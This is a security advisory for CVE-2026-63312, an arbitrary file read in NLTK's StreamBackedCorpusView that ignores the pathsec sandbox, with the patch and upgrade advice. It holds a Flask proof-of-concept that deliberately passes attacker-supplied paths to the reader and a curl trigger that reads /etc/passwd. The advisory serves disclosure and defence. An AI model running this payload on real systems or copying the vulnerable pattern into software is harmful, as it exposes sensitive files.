highCVE-2026-63312Sep 8, 2026

CVE-2026-63312: NLTK StreamBackedCorpusView Arbitrary File Read via pathsec.ENFORCE Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

NLTK's corpus reader ignores the pathsec.ENFORCE sandbox and opens any file on disk directly, so an attacker who controls the fileid argument can read sensitive files even when the app has explicitly…

Packagenltk
Ecosystempip
Affected<= 3.9.4
Fixed in3.10.0

The problem

NLTK <= 3.9.4 ships a path-security module (pathsec) that operators can lock down with ENFORCE=True to restrict all file access to approved NLTK data directories.

StreamBackedCorpusView._open() in nltk/corpus/reader/util.py never calls pathsec.validate_path(). It calls os.stat() at line 171 and builtins.open() at line 208 with the raw, caller-supplied fileid string. The sandbox is never consulted, so any absolute path works.

XMLCorpusView and every corpus reader subclass that passes a raw string fileid inherits the same gap.

Proof of concept

A working proof-of-concept for CVE-2026-63312 in nltk, with the exact payload below.

python
# poc_server.py — run with: python poc_server.py
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block

ps.ENFORCE = True   # sandbox enabled — has no effect on StreamBackedCorpusView

app = Flask(__name__)

@app.post("/read")
def read_file():
    fname = request.json.get("file")          # attacker-controlled
    view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
    return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000)

# Trigger:
# curl -s -X POST http://localhost:8000/read \
#   -H 'Content-Type: application/json' \
#   -d '{"file": "/etc/passwd"}'

The flaw is a missing validation call: pathsec.open() wraps builtins.open() with a validate_path() check, but StreamBackedCorpusView bypasses that wrapper and calls builtins.open() directly. No privileges are needed because the check that should block the call simply does not exist in this code path.

The patch in PR #3588 (commit 674ea75) replaces the bare builtins.open() call and the os.stat() call in StreamBackedCorpusView._open() with nltk.pathsec.open() and pathsec.validate_path() respectively, so ENFORCE=True now raises PermissionError for out-of-root paths as documented.

CWE-22 (Path Traversal) and CWE-284 (Improper Access Control).

The fix

Upgrade to nltk >= 3.10.0, which includes PR #3588 (commit 674ea75accdf08eca3782dee0a9c4ed7e0d0025b). If an immediate upgrade is not possible, do not pass untrusted strings as the fileid argument to StreamBackedCorpusView or any corpus reader subclass, and validate all such paths against an allowlist before use.

Note that setting pathsec.ENFORCE=True alone does NOT protect against this issue on affected versions.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research